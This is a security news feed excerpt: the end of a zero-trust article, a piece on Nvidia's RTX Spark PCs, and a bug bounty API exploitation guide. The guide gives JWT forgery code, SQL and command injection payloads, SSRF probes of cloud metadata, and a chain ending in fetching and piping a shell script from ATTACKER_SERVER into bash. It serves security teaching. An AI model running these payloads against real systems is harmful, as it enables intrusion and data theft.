<p>Leading zero-trust proponents are pushing back, however, arguing that the core principles still apply. “With AI, zero trust is more important than ever,” says Finney. “Zero trust is a strategy; we don’t change the strategy because AI came out. AI proves how important that strategy is.”</p>



<p>“AI is not magic,” he adds. “We secure it the same way we secure everything else. We integrate it into the tech stack and monitor it.”</p>



<p>Kindervag, currently chief evangelist at Illumio, concurs. “AI doesn’t change the fundamentals of zero trust. It reinforces them. Zero trust is the strategy that allows you to safely embrace AI. Without strict segmentation, policy enforcement, and control over data flows, AI becomes another soft and chewy center waiting to be exploited.” He adds, “You don’t need a new security strategy for AI. You just need to apply the right one. That’s zero trust.”</p>



<h2 class="wp-block-heading">Myth: There’s no way to measure success</h2>



<p>Any project that seeks support from the board and C-suite, needs to be able to justify itself through some sort of metrics. Zero trust is no exception, but how do you measure “not getting hacked?”</p>



<p>Gartner says teams should use outcome-driven metrics that link zero-trust initiatives directly to business objectives.“It’s crucial to focus on schedule adherence, cost discipline, and control effectiveness,” says Gartner. “Focus on outcomes like reduced breach incidents, improved compliance rates, and enhanced operational efficiency. Additionally, identify specific risks, such as lateral movement, data breaches, account takeovers, and insider threats, which are essential to drive value, and organizations can better justify investments and drive continuous improvement.”</p>



<h2 class="wp-block-heading">Myth: Zero-trust projects have a completion date</h2>



<p>Zero trust is more about the journey than the destination,” Finney says. He points out that organizations are constantly growing and changing. At the same time, attackers are evolving. “Zero trust is a strategy. You’re never done with a strategy,” he adds.</p>



<p>Kindervag’s final pillar of zero trust is to monitor and maintain. In other words, organizations need to be actively monitoring to make sure that access control policies are not being violated. And the zero-trust implementation needs to keep pace with changing business needs.</p>



<p>And since zero trust calls for organizations to focus on the highest value protect surfaces first, there are always additional protect surfaces that can be added under the zero-trust umbrella.</p>



<p>When Finney looks back on how things have evolved over the past 15 years, he is encouraged by the fact that tools have improved dramatically. Teams can now apply AI and machine learning to functions like anomaly detection or incident detection and response. And there are now ways to automate tasks like networking monitoring or policy enforcement.</p>



<p>“Overall, I’m feeling guardedly optimistic,” Finney says, “but the work is not done. We need to continue to make strides.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia PCs don’t need cloud for AI]]></title>
<description><![CDATA[Nvidia’s new RTX Spark is one of the most interesting personal computing announcements in years. That’s because it’s not just another PC platform, but tries to redefine the role of the personal computer in the age of AI. Announced at Computex 2026, RTX Spark is Nvidia’s new platform for slim Wind...]]></description>
<link>https://tsecurity.de/de/3601178/ai-nachrichten/nvidia-pcs-dont-need-cloud-for-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601178/ai-nachrichten/nvidia-pcs-dont-need-cloud-for-ai/</guid>
<pubDate>Tue, 16 Jun 2026 11:03:46 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Nvidia’s new RTX Spark is one of the <a href="https://www.nvidia.com/en-us/products/rtx-spark/">most interesting personal computing announcements</a> in years. That’s because it’s not just another PC platform, but tries to redefine the role of the personal computer in the age of <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">AI</a>. Announced at Computex 2026, RTX Spark is Nvidia’s new platform for slim Windows laptops and compact desktops, designed to combine an Arm-based CPU, Blackwell-based RTX graphics, and a large, unified memory architecture into a single AI-first computing system.</p>



<p>We have all grown accustomed to a cloud-centric AI model over the past few years. We open an application, send a request over the network, and a hosted service in a distant data center provides the intelligence. ChatGPT, Grok, Gemini, and similar systems have trained the market to think of AI as something that lives elsewhere. RTX Spark proposes a different model. It asks a simple yet disruptive question: What if the model, the agent, the data, and the application could all live on your own machine? Nvidia is not just selling a faster PC. It is selling a new architectural premise.</p>



<h2 class="wp-block-heading">Features, functions, and prices</h2>



<p>On paper, RTX Spark is designed to be a highly capable local AI system. Nvidia has described the platform as combining AI acceleration and RTX graphics on a single chip for thin laptops and small desktops. Public specifications for the platform indicate configurations with up to 6,144 Blackwell GPU cores, up to a 20-core CPU, up to 1 petaflop of FP4 AI performance, and up to 128GB of unified memory. These are not ordinary PC numbers. They are clearly intended to support serious local AI workloads.</p>



<p>The unified memory approach is especially important. In traditional PC architecture, the CPU and GPU often use separate memory pools, which can become a bottleneck when running large models. By contrast, RTX Spark’s design is intended to make it easier for the system to host and run AI models locally. This enables Nvidia to position the machine as capable of hosting persistent <a href="https://www.infoworld.com/article/3611465/how-ai-agents-will-transform-the-future-of-work.html">AI agents</a>, supporting local inference, and even allowing users to customize or fine-tune certain classes of language models.</p>



<p>Nvidia is also careful not to frame the system as only an AI box. In a smart move, the company is marketing RTX Spark for gaming, creative applications, AI development, and agentic workflows. This has been designed not as a one-trick pony, but as a capable computer first and an AI workstation second. Otherwise, it remains a niche developer experiment.</p>



<p>Pricing remains uncertain because Nvidia hasn’t published a universal price for every RTX Spark laptop or desktop. The platform will appear in products from different manufacturers, which means prices will vary. The best indicator comes from the related DGX Spark desktop, listed at about $4,699, though early estimates placed it between $2,999 and $3,999.</p>



<p>That probably gives us the right way to think about pricing for this broader category. These are unlikely to be inexpensive mainstream PCs, at least not at launch. They are more likely to arrive as premium systems aimed at developers, technical professionals, creators, and early adopters willing to pay for high-end AI capabilities on the device. Over time, that may broaden. For now, however, this looks like a new high-value, high-cost category rather than a commodity PC refresh.</p>



<h2 class="wp-block-heading">What is its real purpose?</h2>



<p>The most important thing about RTX Spark is not the chip. It is the purpose behind the chip. This machine is ultimately built to run AI agents locally, and that is a bigger deal than it may seem at first glance. An AI agent is more than a chatbot. It persists state, accesses tools, works across applications, remembers context, automates tasks, and increasingly acts as a software-based worker. Nvidia is explicitly positioning Spark systems to run personal AI agents directly on the local machine, potentially around the clock. That creates a very different computing model from what most of us use today.</p>



<p>There is another important layer to this story. These systems are also being positioned as platforms on which users can build and run smaller, more limited, locally tuned versions of large language model systems. Put plainly, you may be able to create your own model-based assistant that runs directly on the RTX Spark. It will not be as broadly capable as a frontier model operated by OpenAI or another hyperscaler. It is likely to be less generally capable, narrower in its expertise, and more constrained by local hardware limits. But it will be yours, it will be local, and it will respond without relying on a remote <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">API</a> call to a hosted AI service hundreds or thousands of miles away.</p>



<p>Such a shift is conceptually significant. For years, the AI industry has conditioned us to believe that serious intelligence must be centralized. RTX Spark suggests a future in which at least some intelligence becomes personal, portable, and self-contained.</p>



<h2 class="wp-block-heading">Welcome to the revolution</h2>



<p>The breakthrough here is not that local models will instantly outperform remote models. They will not. But the architecture of AI use may begin to diversify. Today, the default assumption is centralization. We assume the model, the knowledge base, and the application stack will all live in the cloud, and the user is simply a client. With systems like RTX Spark, that assumption starts to weaken. The model can run on the local machine. The agent can run on the local machine. Sensitive data can remain on the local machine. The application logic can be executed on the local machine. This changes latency, privacy, resiliency, and cost models. It also changes who controls the AI.</p>



<p>That does not mean the cloud goes away. Far from it. Enterprise use cases that benefit from centralized models and data will continue to exist. Businesses want the same knowledge base, business rules, database consistency, and governance model available to everyone. Centralization remains powerful because it reduces fragmentation and keeps systems aligned. Yes, a single-tenant, RTX Spark-based AI environment can be useful for certain projects, but it can also create islands of intelligence that do not easily share knowledge across teams and systems.</p>



<h2 class="wp-block-heading">Possible use cases</h2>



<p>I see the strongest potential use cases in disconnected or semi-disconnected environments. Think about physicians doing diagnostics support in privacy-sensitive contexts, field engineers collecting and interpreting data in remote areas, military and public sector users operating at the edge, or professionals who need highly private, self-contained AI assistance without relying on constant connectivity. In those scenarios, the value proposition is very strong. Having the model, data, application, and agent all on one portable system is not a limitation. It is the point.</p>



<p>The bigger question is whether mainstream enterprise AI will migrate in that direction. I remain skeptical that most organizations want hundreds or thousands of individually tuned, locally hosted models to replace centralized AI services. I predict that this category will complement the cloud rather than displace it. The more likely future is hybrid: centralized AI where shared knowledge and governance matter, and local AI where privacy, portability, latency, or disconnected operations matter more.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mastery Hunt: Hidden API Endpoints — A Deep Dive into API Bug Bounty Recon & Exploitation]]></title>
<description><![CDATA[API security testing is the crown jewel of modern bug bounty hunting. While front-end vulnerabilities still exist, APIs are where the real treasure lies — sensitive data, privileged operations, and business logic flaws. This writeup covers the complete lifecycle of discovering, analyzing, and exp...]]></description>
<link>https://tsecurity.de/de/3600902/hacking/mastery-hunt-hidden-api-endpoints-a-deep-dive-into-api-bug-bounty-recon-exploitation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600902/hacking/mastery-hunt-hidden-api-endpoints-a-deep-dive-into-api-bug-bounty-recon-exploitation/</guid>
<pubDate>Tue, 16 Jun 2026 09:09:18 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>API security testing is the crown jewel of modern bug bounty hunting. While front-end vulnerabilities still exist, APIs are where the real treasure lies — sensitive data, privileged operations, and business logic flaws. This writeup covers the complete lifecycle of discovering, analyzing, and exploiting hidden API endpoints for bug bounty and authorized penetration testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DEt2mha_sAbLIoOsiNBDxA.png"><figcaption>Hidden API Endpoints</figcaption></figure><h3>Phase 1: Surface Reconnaissance — Finding the Attack Surface</h3><h3>1.1 Passive Reconnaissance</h3><p>Before sending a single request, build a map of the target’s API surface using passive techniques.</p><p><strong>Wayback Machine &amp; Archive Analysis</strong></p><pre># Using gau (GetAllUrls) — passive URL gathering<br>gau --subs target.com | grep -E "\.json|\.xml|/api/|/v[0-9]/|/graphql|/rest/|/swagger|/docs" &gt; api_endpoints.txt<br><br># Waybackurls via waymore<br>waymore -i target.com -mode U -o U | grep -i api</pre><p><strong>Google Dorking for Exposed APIs</strong></p><pre>site:target.com inurl:"/api/"<br>site:target.com inurl:"/v1/" | inurl:"/v2/" | inurl:"/v3/"<br>site:target.com intitle:"Swagger UI" | intitle:"API Documentation"<br>site:target.com intitle:"index of" "api"<br>site:target.com ext:json "swagger" | ext:yaml "openapi"<br>site:target.com "api_key" | "api-key" | "apikey" filetype:txt</pre><p><strong>Certificate Transparency Logs</strong></p><pre># crt.sh — find subdomains with API-related names<br>curl -s "https://crt.sh/?q=%25.target.com&amp;output=json" | jq -r '.[].name_value' | sort -u | grep -iE "api|dev|staging|internal|gateway|admin"</pre><p><strong>Mobile App Reverse Engineering</strong></p><p>Decompile the mobile APK/IPA to extract embedded API endpoints:</p><pre># Android<br>apktool d app.apk -o decompiled<br>grep -r "https\?://" decompiled/ --include="*.smali" --include="*.xml" | grep -i api<br><br># iOS (via objection)<br>objection --gadget "com.target.app" explore<br>android hooking list classes | grep -i "api\|network\|request"</pre><h3>1.2 Active Reconnaissance</h3><p>Subdomain Enumeration Focused on API Subdomains</p><pre># Subfinder + httpx<br>subfinder -d target.com -all -silent | httpx -silent -ports 80,443,8080,8443,9090,3000,5000 | tee live_subdomains.txt<br><br># Filter for API-related subdomains<br>cat live_subdomains.txt | grep -iE "api|gateway|backend|internal|admin|dev|staging|uat|sandbox|edge|cdn"</pre><p><strong>Directory/Endpoint Bruteforcing</strong></p><p>Use specialized wordlists for API endpoints:</p><pre># Common API paths<br>ffuf -u https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common-api-endpoints.txt -mc all -fs 0 -fc 404<br><br># GraphQL discovery<br>ffuf -u https://api.target.com/FUZZ -w &lt;(echo -e "graphql\ngraph\ngraphiql\nv1/graphql\nv2/graphql\napi/graphql\nquery\nmutations") -mc 200,301,302,403<br><br># Swagger/OpenAPI docs<br>ffuf -u https://api.target.com/FUZZ -w &lt;(echo -e "swagger.json\nswagger.yaml\napi-docs\nopenapi.json\nopenapi.yaml\ndocs\nv2/swagger.json\nv3/api-docs")</pre><p><strong>Parameter Discovery</strong></p><p>Hidden parameters can unlock undocumented functionality:</p><pre># Arjun — parameter discovery<br>arjun -u https://api.target.com/v1/users --get<br><br># Paramspider<br>paramspider -d target.com --subs --exclude woff,css,js,png,svg,jpg</pre><h3>Phase 2: API Fingerprinting &amp; Documentation Extraction</h3><h3>2.1 Identify API Type &amp; Protocol</h3><p>Send probe requests to identify the API technology:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*f3eYKwXZd0A_I2cYYEw0xA.png"><figcaption>Identify API Type &amp; Protocol</figcaption></figure><h3>2.2 Extract Full API Documentation</h3><p><strong>Swagger/OpenAPI Endpoints</strong></p><p>Common paths to check:</p><pre>/api/swagger.json<br>/api/swagger.yaml<br>/api/v1/swagger.json<br>/api/v2/swagger.json<br>/swagger-resources<br>/swagger-ui.html<br>/api-docs<br>/v2/api-docs<br>/v3/api-docs<br>/openapi.json<br>/docs<br>/redoc</pre><p>Once found, parse it:</p><pre># Download and parse<br>curl -s https://api.target.com/swagger.json | jq '.paths' | head -100<br><br># Convert to Postman collection for testing<br>curl -s https://api.target.com/swagger.json | npx swagger-to-postman &gt; collection.json</pre><p><strong>GraphQL Introspection</strong></p><p>If GraphQL is detected, attempt introspection:</p><pre># Standard introspection query<br>query {<br>  __schema {<br>    types {<br>      name<br>      fields {<br>        name<br>        type {<br>          name<br>          kind<br>        }<br>      }<br>    }<br>    queryType {<br>      fields {<br>        name<br>        args {<br>          name<br>          type {<br>            name<br>          }<br>        }<br>      }<br>    }<br>    mutationType {<br>      fields {<br>        name<br>        args {<br>          name<br>          type {<br>            name<br>          }<br>        }<br>      }<br>    }<br>  }<br>}</pre><pre># Using InQL (Burp extension or standalone)<br>python3 inql -t https://api.target.com/graphql -d<br><br># Using graphw00f for fingerprinting<br>graphw00f -d https://api.target.com/graphql</pre><h3>2.3 HTTP Method Fuzzing</h3><p>Discover hidden endpoints by fuzzing HTTP methods on known endpoints:</p><pre># Fuzz all methods on discovered endpoints<br>for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE CONNECT; do<br>  curl -X $method -s -o /dev/null -w "%{http_code}" https://api.target.com/v1/users<br>  echo " - $method"<br>done</pre><p><strong>Automated with ffuf:</strong></p><pre>ffuf -u https://api.target.com/v1/users \<br>  -X FUZZ \<br>  -w &lt;(echo -e "GET\nPOST\nPUT\nPATCH\nDELETE\nOPTIONS") \<br>  -mc all -fc 404,405,400</pre><h3>Phase 3: Authentication &amp; Authorization Bypass Techniques</h3><h3>3.1 Authentication Bypass Vectors</h3><p>Missing or Weak Auth on Hidden Endpoints</p><p>Hidden endpoints often lack proper authentication:</p><pre># Compare authenticated vs unauthenticated access<br>curl -s https://api.target.com/v1/admin/users -H "Authorization: Bearer $TOKEN"<br>curl -s https://api.target.com/v1/admin/users  # No token — what happens?</pre><p><strong>JWK Injection &amp; JWT Manipulation</strong></p><pre>#!/usr/bin/env python3<br>"""<br>JWT manipulation toolkit for API testing<br>"""<br>import jwt<br>import requests<br>import json<br><br># Technique 1: Set algorithm to 'none'<br>def jwt_none_bypass(token, payload):<br>    """Set alg to 'none' — works on poorly validated JWTs"""<br>    header = {"alg": "none", "typ": "JWT"}<br>    # Some implementations accept 'None' (capital N)<br>    # Try: none, None, NONE, nOnE<br>    forged = jwt.encode(payload, "", algorithm="none")<br>    return forged<br><br># Technique 2: RS256 → HS256 confusion<br>def jwt_alg_confusion(public_key_path, payload):<br>    """<br>    If the server uses RS256 but accepts HS256,<br>    sign with the PUBLIC key (which is known) as HMAC secret<br>    """<br>    with open(public_key_path, "r") as f:<br>        public_key = f.read()<br>    forged = jwt.encode(payload, public_key, algorithm="HS256")<br>    return forged<br><br># Technique 3: JWK injection (CVE-2018-0114)<br>def jwk_injection(payload, private_key):<br>    """<br>    Craft a JWT that includes a malicious JWK in the header.<br>    If the server trusts the embedded JWK, it validates against YOUR key.<br>    """<br>    # Use python-jwt toolkit or jwk-inject.py<br>    # Header: {"alg": "RS256", "jwk": {"kty": "RSA", "n": "...", "e": "AQAB"}}<br>    pass<br><br># Technique 4: Kid injection (directory traversal)<br>def kid_injection(payload):<br>    """<br>    kid: "../../dev/null" means empty signature validation<br>    kid: "/proc/sys/kernel/random/uuid" for DoS testing<br>    """<br>    header = {<br>        "alg": "HS256",<br>        "typ": "JWT",<br>        "kid": "../../dev/null"<br>    }<br>    forged = jwt.encode(payload, "", algorithm="HS256", headers=header)<br>    return forged</pre><p><strong>API Key Leakage via Referer/Origin</strong></p><pre># Check if API keys leak in referer headers<br>curl -s https://api.target.com/v1/endpoint \<br>  -H "Referer: https://api.target.com/v1/users?api_key=test123"</pre><h3>3.2 Authorization Testing — IDOR &amp; BOLA</h3><p>Insecure Direct Object Reference (IDOR) / Broken Object Level Authorization (BOLA)</p><pre># Sequential ID enumeration<br>for id in $(seq 1 100); do<br>  curl -s "https://api.target.com/v1/users/$id" | jq '.email'<br>done<br><br># UUID enumeration (less likely but test)<br>ffuf -u https://api.target.com/v1/orders/FUZZ \<br>  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \<br>  -H "Authorization: Bearer $TOKEN" \<br>  -mc 200,403,401<br><br># Mass IDOR via parameter pollution<br>curl -s "https://api.target.com/v1/invoices?id=1&amp;id=2&amp;id=3"<br>curl -s "https://api.target.com/v1/invoices?id[]=1&amp;id[]=2&amp;id[]=3"</pre><p>Mass Assignment</p><pre># Test for mass assignment on POST/PUT endpoints<br>curl -X PUT https://api.target.com/v1/users/me \<br>  -H "Content-Type: application/json" \<br>  -H "Authorization: Bearer $TOKEN" \<br>  -d '{<br>    "name": "test",<br>    "role": "admin",<br>    "is_admin": true,<br>    "balance": 999999999,<br>    "email_verified": true,<br>    "account_status": "active"<br>  }'</pre><p><strong>Broken Function Level Authorization (BFLA)</strong></p><p>Vertical privilege escalation — lower privilege user accessing admin functions:</p><pre># Replace user role token and test admin endpoints<br>curl -s https://api.target.com/v1/admin/users \<br>  -H "Authorization: Bearer $(cat low_priv_token.txt)"</pre><h3>Phase 4: Injection Attacks on APIs</h3><h3>4.1 SQL Injection in API Parameters</h3><p>APIs are just as vulnerable to SQLi as web apps, sometimes more so because of serialization handling:</p><pre># Classic SQLi in API<br>curl -s "https://api.target.com/v1/users?id=1' OR '1'='1"<br>curl -s "https://api.target.com/v1/users?id=1 UNION SELECT @@version"<br><br># JSON-based SQLi<br>curl -X POST https://api.target.com/v1/search \<br>  -H "Content-Type: application/json" \<br>  -d '{"query": "test' OR '1'='1"}'<br><br># NoSQL Injection (MongoDB)<br>curl -X POST https://api.target.com/v1/login \<br>  -H "Content-Type: application/json" \<br>  -d '{"username": "admin", "password": {"$ne": ""}}'</pre><h3>4.2 Command Injection</h3><pre># Command injection in API parameters<br>curl -s "https://api.target.com/v1/utils/ping?host=127.0.0.1;id"<br>curl -s "https://api.target.com/v1/exports?format=csv;cat /etc/passwd"<br><br># Blind command injection with out-of-band detection<br>curl -s "https://api.target.com/v1/convert?file=/tmp/test|curl http://COLLABORATOR.net/$(whoami)"</pre><h3>4.3 SSRF (Server-Side Request Forgery)</h3><p>APIs that fetch external URLs are goldmines for SSRF:</p><pre># Basic SSRF<br>curl -s "https://api.target.com/v1/proxy?url=http://169.254.169.254/latest/meta-data/"<br>curl -s "https://api.target.com/v1/avatar?url=http://127.0.0.1:8080/admin"<br><br># Blind SSRF via Collaborator<br>curl -s "https://api.target.com/v1/webhook?url=http://COLLABORATOR.net/test"<br><br># SSRF via cloud metadata endpoints<br>curl -s "https://api.target.com/v1/import?url=http://169.254.169.254/"  # AWS<br>curl -s "https://api.target.com/v1/import?url=http://metadata.google.internal/"  # GCP<br>curl -s "https://api.target.com/v1/import?url=http://100.100.100.200/latest/meta-data/"  # Alibaba</pre><h3>Phase 5: GraphQL-Specific Attacks</h3><h4>5.1 Introspection &amp; Schema Extraction</h4><pre># InQL scanner<br>inql -t https://api.target.com/graphql -d<br><br># Clairvoyance — introspection even when blocked<br>clairvoyance https://api.target.com/graphql -o schema.json</pre><h3>5.2 Batching &amp; Rate Limit Bypass</h3><pre># Batch login bruteforce — single request, many passwords<br>[<br>  {"query": "mutation { login(username: \"admin\", password: \"password1\") { token } }"},<br>  {"query": "mutation { login(username: \"admin\", password: \"password2\") { token } }"},<br>  {"query": "mutation { login(username: \"admin\", password: \"password3\") { token } }"},<br>  # ... 100+ more<br>]</pre><h3>5.3 Deep Query &amp; Nested Abuse</h3><pre># Circular query — cause DoS via deep nesting<br>query {<br>  user(id: 1) {<br>    posts {<br>      comments {<br>        user {<br>          posts {<br>            comments {<br>              user {<br>                posts {<br>                  comments {<br>                    user { name }<br>                  }<br>                }<br>              }<br>            }<br>          }<br>        }<br>      }<br>    }<br>  }<br>}</pre><h3>5.4 Field Duplication &amp; Resource Exhaustion</h3><pre>query {<br>  __typename<br>  __typename<br>  __typename<br>  __typename<br>  user(id: 1) {<br>    name<br>    name<br>    name<br>    email<br>    email<br>    email<br>    email<br>  }<br>}</pre><h3>Phase 6: Rate Limit Testing &amp; Business Logic Abuse</h3><h4>6.1 Rate Limit Bypass Techniques</h4><pre># Technique 1: Header manipulation<br>curl -s https://api.target.com/v1/forgot-password \<br>  -H "X-Forwarded-For: 127.0.0.1" \<br>  -H "X-Real-IP: 127.0.0.1" \<br>  -H "X-Originating-IP: 127.0.0.1" \<br>  -H "X-Remote-IP: 127.0.0.1" \<br>  -H "X-Client-IP: 127.0.0.1" \<br>  -H "Forwarded: for=127.0.0.1"<br><br># Technique 2: Method alternation<br># If POST is rate-limited, try PATCH or PUT<br>curl -X PATCH https://api.target.com/v1/forgot-password \<br>  -d '{"email":"victim@test.com"}'<br><br># Technique 3: Parameter pollution<br>curl -s "https://api.target.com/v1/forgot-password?email=test@test.com&amp;email=admin@admin.com"</pre><h3>6.2 Business Logic Flaws</h3><p>Race Conditions / TOCTOU</p><pre>#!/usr/bin/env python3<br>"""<br>Race condition testing — concurrent coupon redemption<br>"""<br>import requests<br>import threading<br><br>def redeem_coupon():<br>    r = requests.post("https://api.target.com/v1/coupons/redeem",<br>        json={"code": "ONETIME50"},<br>        headers={"Authorization": f"Bearer {TOKEN}"})<br>    print(f"Status: {r.status_code}, Response: {r.text}")<br><br># Fire 20 simultaneous requests<br>threads = [threading.Thread(target=redeem_coupon) for _ in range(20)]<br>for t in threads: t.start()<br>for t in threads: t.join()</pre><p><strong>Integer Overflow / Underflow</strong></p><pre># Negative numbers<br>curl -X POST https://api.target.com/v1/cart/add \<br>  -H "Content-Type: application/json" \<br>  -d '{"product_id": 1, "quantity": -100}'<br><br># Large numbers causing overflow<br>curl -X POST https://api.target.com/v1/transfer \<br>  -d '{"amount": 99999999999999999999, "to": "attacker"}'</pre><h3>Phase 7: Automation — Build Your API Recon Pipeline</h3><pre>#!/bin/bash<br># api-recon-pipeline.sh — full automated API recon<br># Usage: ./api-recon-pipeline.sh target.com<br><br>TARGET=$1<br>OUTDIR="api_recon_$TARGET"<br>mkdir -p $OUTDIR<br><br>echo "[*] Passive URL collection"<br>gau --subs $TARGET | tee $OUTDIR/gau_urls.txt<br>waybackurls $TARGET | tee -a $OUTDIR/wayback_urls.txt<br><br>echo "[*] Extract API endpoints"<br>cat $OUTDIR/*.txt | grep -iE "api|rest|graphql|swagger|v[0-9]" | sort -u &gt; $OUTDIR/api_endpoints.txt<br><br>echo "[*] Subdomain enumeration"<br>subfinder -d $TARGET -all -silent | httpx -silent -ports 80,443,8080,8443,3000,9090 &gt; $OUTDIR/live_subs.txt<br><br>echo "[*] Swagger/OpenAPI discovery"<br>ffuf -u https://FUZZ/$TARGET/swagger.json -w $OUTDIR/live_subs.txt -mc 200 -o $OUTDIR/swagger_found.json<br><br>echo "[*] Directory fuzzing on API endpoints"<br>while read endpoint; do<br>  ffuf -u $endpoint/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt -mc all -fc 404 -o $OUTDIR/ffuf_$(echo $endpoint | md5sum | cut -d' ' -f1).json<br>done &lt; $OUTDIR/api_endpoints.txt<br><br>echo "[*] Parameter fuzzing"<br>arjun -i $OUTDIR/api_endpoints.txt -o $OUTDIR/arjun_params.json<br><br>echo "[*] Done. Review files in $OUTDIR/"</pre><h3>Phase 8: Exploit Chaining — From Recon to Critical Finding</h3><h4>Chain Example: Blind SSRF → Internal Service Discovery → RCE</h4><p>Step 1: Find an endpoint that fetches URLs</p><pre># Avatar upload/profile image endpoint<br>curl -s "https://api.target.com/v1/profile/avatar?url=http://example.com/test.jpg"</pre><p>Step 2: Test for SSRF</p><pre>curl -s "https://api.target.com/v1/profile/avatar?url=http://127.0.0.1:8080/"<br># Response contains internal HTML → SSRF confirmed</pre><p>Step 3: Port scan internal network via SSRF</p><pre>for port in 80 443 3000 5000 6379 8080 8443 9200 27017; do<br>  status=$(curl -s -o /dev/null -w "%{http_code}" \<br>    "https://api.target.com/v1/profile/avatar?url=http://127.0.0.1:$port/")<br>  echo "Port $port: $status"<br>done</pre><p>Step 4: Discover internal admin panel</p><pre>curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy?cmd=ls"<br># Returns directory listing of deployment server</pre><p>Step 5: Exploit for RCE</p><pre>curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy?cmd=curl+http://ATTACKER_SERVER/shell.sh+|+bash"<br># Reverse shell established</pre><h3>Reporting &amp; Documentation Template</h3><pre># Vulnerability: [Title]<br><br>**Severity:** Critical / High / Medium / Low  <br>**CVSS Score:** X.X (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  <br>**Endpoint:** `POST /api/v1/users/forgot-password`<br><br>## Description<br>[Clear description of the vulnerability and its impact]<br><br>## Steps to Reproduce<br>1. [Step 1]<br>2. [Step 2]<br>3. [Step 3]<br><br>## Proof of Concept<br>```bash<br># Exact curl command or script<br>curl -X POST https://api.target.com/v1/endpoint \<br>  -H "Authorization: Bearer $TOKEN" \<br>  -d '{"payload": "test"}'</pre><h3>Impact</h3><p>[What can an attacker achieve? Data exposure? Account takeover? RCE?]</p><h3>Remediation</h3><ol><li>[Fix 1 — e.g., Implement proper authorization checks]</li><li>[Fix 2 — e.g., Validate and sanitize all user input]</li><li>[Fix 3 — e.g., Rate-limit sensitive endpoints]</li></ol><h3>References</h3><ul><li>OWASP API Security Top 10: API1:2023 — Broken Object Level Authorization</li><li>CWE-284: Improper Access Control</li></ul><h3>OWASP API Security Top 10 (2023) Quick Reference</h3><pre><br><br>| API# | Category | What to Test |<br>|---|---|---|<br>| API1:2023 | Broken Object Level Authorization | IDOR on any object reference |<br>| API2:2023 | Broken Authentication | JWT bypass, rate limits, password reset |<br>| API3:2023 | Broken Object Property Level Mapping | Mass assignment, extra fields |<br>| API4:2023 | Unrestricted Resource Consumption | DoS via deep pagination, batch queries |<br>| API5:2023 | Broken Function Level Authorization | Vertical privilege escalation |<br>| API6:2023 | Unrestricted Access to Sensitive Business Flows | Automated abuse (coupons, votes) |<br>| API7:2023 | Server Side Request Forgery | URL fetching endpoints |<br>| API8:2023 | Security Misconfiguration | CORS, error handling, default creds |<br>| API9:2023 | Improper Inventory Management | Old versions, staging endpoints |<br>| API10:2023 | Unsafe Consumption of APIs | API-to-API trust issues |<br><br>---<br><br>## Essential Tools Cheatsheet<br><br>| Tool | Purpose | Install |<br>|---|---|---|<br>| **gau** | Passive URL collection | `go install github.com/lc/gau/v2/cmd/gau@latest` |<br>| **httpx** | HTTP probing | `go install github.com/projectdiscovery/httpx/cmd/httpx@latest` |<br>| **ffuf** | Directory/parameter fuzzing | `go install github.com/ffuf/ffuf@latest` |<br>| **arjun** | Parameter discovery | `pip install arjun` |<br>| **inql** | GraphQL analysis (Burp) | BApp Store or `pip install inql` |<br>| **graphw00f** | GraphQL fingerprinting | `git clone https://github.com/dolevf/graphw00f` |<br>| **jwt_tool** | JWT manipulation | `pip install pyjwt jtool` |<br>| **waymore** | Wayback Machine scraper | `pip install waymore` |<br>| **subfinder** | Subdomain discovery | `go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest` |<br>| **nuclei** | Template-based scanning | `go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest` |<br><br>---<br><br>## Final Words<br><br>The key to winning at API bug bounty hunting is **systematic methodology** combined with **creative thinking**. Automated tools will find the low-hanging fruit, but the critical findings come from understanding the application's business logic and chaining seemingly innocuous issues together.<br><br>Remember:<br>- **Every undocumented endpoint is a potential bypass**<br>- **If it's not in the documentation, test it harder**<br>- **Authentication bypass on one endpoint means trying it on every endpoint**<br>- **Business logic &gt; technical complexity** for the highest bounties<br><br>Happy hunting. Stay authorized, stay methodical, and dig deeper than everyone else.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/0*e8oUgphijh5YDW-O.png"><figcaption>Follow US</figcaption></figure><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="https://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a><em> </em>| Facebook: <a href="https://www.facebook.com/Securi3ytalent/">Securi3ytalent</a> | Telegram: <a href="https://t.me/Securi3yTalent">Securi3yTalent</a></p><p>#CyberSecurity #BugBounty #APISecurity #EthicalHacking #WebSecurity #InfoSec #BugBountyHunter #OWASP #PenTesting #APIHacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=9cc1d14b8c96" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/mastery-hunt-hidden-api-endpoints-a-deep-dive-into-api-bug-bounty-recon-exploitation-9cc1d14b8c96">Mastery Hunt: Hidden API Endpoints — A Deep Dive into 